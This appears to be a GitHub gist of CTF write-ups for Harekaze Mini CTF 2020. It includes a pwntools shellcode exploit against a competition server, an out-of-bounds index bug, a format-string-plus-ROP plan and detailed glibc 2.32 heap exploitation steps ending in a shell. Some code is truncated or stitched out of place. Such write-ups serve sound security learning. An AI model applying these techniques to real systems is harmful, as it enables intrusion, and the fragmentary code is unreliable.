You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
I played Harekaze Mini CTF 2020 for about 3 hours this weekend. The pwn challenges were nice (I especially enjoyed `nm-game-extreme`). Here are some short writeups.
# shellcode
The program just tells you to provide shellcode that will execute `execve("/bin/sh", NULL, NULL)`. It gives you the address of the "/bin/sh" string, so you just create shellcode to do the job and send it:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
The program just tells you to provide shellcode that will execute `execve("/bin/sh", NULL, NULL)`. It gives you the address of the "/bin/sh" string, so you just create shellcode to do the job and send it:
```python
#!/usr/bin/env python3
from pwn import*
context.arch ="amd64"
p = remote("20.48.83.165", 20005)
bin_sh =0x404060
sc = asm(r"""
mov rdi, {}
mov rsi, 0
mov rdx, 0
mov rax, 0x3b
syscall
""".format(bin_sh))
p.sendlineafter(")\n", sc)
p.interactive()
```
# nm-game-extreme
This was a pretty unique challenge in my opinion.
## Vulnerability
The bug is in the main function:
```c
intmain(void) {
// [...] Variable declarations
puts("Be the last to take a pebble!");
int remaining_games = GAMES;
while (remaining_games) {
puts("Creating a new problem...");
sleep(1);
int n = min(MAX_GAME_SIZE, GAMES - remaining_games + 1);
init_game(nums, n);
bool won = false;
while (!is_finished(nums, n)) {
print_state(nums, n);
int index;
if (n == 1) {
index = 0;
} else {
do {
printf("Choose a heap [0-%d]: ", n - 1);
scanf("%d", &index); // [ 1 ]
} while (nums[index] == 0);
}
// [ ... ]
}
// [ ... ]
}
// [ ... ] Print flag
}
```
Initially, `n` will be 1, so the first branch will be taken in the `if` statement. If we win the first round, then `n` will be 2, and we will be able to "Choose a heap". When choosing a heap, we pick an index that is not bounds checked at `[ 1 ]`.
This index is later accessed when choosing pebbles to take:
```c
do {
printf("How many pebbles do you want to take? ");
if (nums[index] > 1) {
printf("[1-%d]: ", min(3, nums[index]));
} else {
printf("[1]: ");
}
scanf("%d", &choice);
} while (choice < 1 || min(3, nums[index]) < choice);
nums[index] -= choice; // [ 1 ]
if (is_finished(nums, n)) {
won = true;
break;
}
opponent_action(nums, n, &index, &choice);
printf("The opponent took %d from %d\n", choice, index);
nums[index] -= choice;
```
At `[ 1 ]`, whatever value is at that index (that we control) will be subtracted by `choice` (which we also control, but can be a max of `3`). The opponent's index is sanitized in `opponent_action`, so the opponent won't affect our choice of index.
## Exploitation
For exploitation, our objective is to win the game enough times to set `remaining_games` to 0 so that the main `while` loop will exit and print out the flag. Unfortunately there is a timeout of 5 minutes, and it's impossible to win the game 400 times in 5 minutes without cheating.
We need to use the bug, and in order to use the bug we have to win the first round. I came up with a naive solution that wins the first round ***most of the time***. It won't win every time so if you want to run my exploit, maybe run it a few times (the success rate is high though).
Once we win the first round, we trigger the bug many times to keep subtracting 3 from `remaining_games` until it gets set to 6. Once its set to 6, we manually subtract 5 from it to set it to 1. Then, we win the game by subtracting 15 from `n` (using the same bug) which will cause `is_finished` to return true, which will make us win.
**Note: I found that `remaining_games` is at index -4, and `n` is at index -3 through GDB.**
# Subtract 15 from `n` to end the game, remaining_games gets set to 0
for i inrange(5):
p.sendlineafter(": ", str(n_idx))
p.sendlineafter(": ", "3")
# The flag is printed to the screen
p.interactive()
```
# kodama
In this challenge we are allowed to trigger a format string vulnerability twice.
My idea for exploitation is to use the first format string to leak a stack address, then use the second format string to overwrite the loop index `i` to a large negative number. This will give us infinite tries to trigger the format string vulnerability.
Next, I leak a libc address from the stack, and then overwrite past `main`'s return address with a ROP chain that will call `system("/bin/sh")`:
I didn't have time to solve this challenge, but I spent 10-15 minutes to find the bug. The following are the steps to solving (I might miss a thing or two because I didn't write a solve script).
## Functionality
The program will let you `allocate` a maximum of 7 notes (at a time) that are stored in a global array of notes. You specify a `size` (minimum 1, maximum 0x70), and then `size-1` bytes will be read into the allocated buffer (i.e there is always a NULL byte at the end). The size is stored with the note.
You can `show` a note. This will call `puts` on the note's contents to print them.
You can `move` a note. This will move one note's contents into another. It will `free` the source note and set its index in the global note array to `NULL`.
You can `copy` a note. This is the same as a `move`, except the source note is left untouched.
## Vulnerability
The bug is that you can choose the same note for both the source and destination in `move`. This will free the note but keep a pointer to it in the global notes array which lets you achieve UAF (you have to bypass 2.32 pointer obfuscation, but its easy to get the XOR key by freeing a note and then showing it).
## Exploitation
1. Use the UAF to first get access to the tcache XOR key in order to control the `fd` of a chunk correctly.
2. Free another chunk and use the UAF to leak a heap address so we know where we are in the heap.
3. Use tcache dup to get one chunk overlapped on another chunk's `size`. Overwrite size to something > 0x90 (lets say we overwrite with `0xa1`)
4. Remember to have fake `size` and `prevsize` headers `0xa0` bytes after this corrupted chunk.
5. Create another chunk (call it the `NULL` chunk) which will have the contents set to `p64(0) + p64(0)`. The idea now is to free this `0xa1` sized chunk 7 times to fill up the tcache bin. Each time you free it, you need to copy the contents of the `NULL` chunk into the `0xa1` sized chunk to clear the tcache `key` (otherwise a double free is detected).
6. After the 7th free, free it one more time to send it to the unsorted bin. This will insert a libc address into the `fd` and `bk` fields. The problem is in libc 2.32, unsorted bin address's LSB is `\x00`, so we can't `show` to leak (`puts` will stop at `NULL` bytes).
1. To get the leak, we need to set up the global notes array so that two indices will have a pointer to the same chunk, but size will be set to `1` and `2` respectively for each index.
2. Using the index with `size == 2`, we read in one byte (using the `allocate` function, reading `size-1` bytes). Let's say we read in an `A`.
3. Next, we copy from the index with `size == 1` into our `0xa1` sized chunk. This will overwrite the LSB of the unsorted bin address leak to `0x41`.
4. Finally, we can `show` to get the leak.
7. Once we have the leak, just tcache dup again to overwrite `__free_hook` to `system` and get a shell. You will have to fix the unsorted bin first by overwriting the LSB back to `\x00`, but that's easy to do.
# easy-flag-checker
The program has a fake flag set to `"fakeflag{this_is_not_the_real_flag}"`. It also has a table of values in the bss segment. It does the following:
result = (funcs[i % 3])(*(i + fake_flag), table[i]);
if ( result < *(i + my_flag) )
return 1LL;
if ( result > *(i + my_flag) )
return 0xFFFFFFFFLL;
}
return 0LL;
}
```
`funcs` is a function table where indices `0`, `1`, and `2` are `add`, `sub`, and `xor` respectively. So it will take each byte in the fake flag, and either add, subtract, or xor the corresponding value from the table. It will then ensure that our flag's character matches the result exactly. One thing not visible is that after the operation is done, it will also bitwise AND the result with `0xff` to get only the lowest byte.
The solve script then becomes:
```python
#!/usr/bin/env python3
table = [
226, 0, 25, 0, 251, 13, 25, 2, 56, 224, 34, 18,
189, 237, 29, 245, 247, 10, 193, 252, 0, 242,
252, 81, 8, 19, 6, 7, 57, 60, 5, 57, 19, 186, 0
]
fakeflag = b"fakeflag{this_is_not_the_real_flag}"
flag = ""
for i in range(len(fakeflag)):
if i % 3 == 0:
flag += chr((fakeflag[i] + table[i]) & 0xff)
elif i % 3 == 1:
flag += chr((fakeflag[i] - table[i]) & 0xff)
elif i % 3 == 2:
flag += chr((fakeflag[i] ^ table[i]) & 0xff)
print(flag)
```
This prints `HarekazeCTF{0rthhd0x_fl4g_ch3ck3r!}`, which is incorrect. It should be `0rth0d0x`, not `0rthhd0x`, so I just manually fixed that by inspection.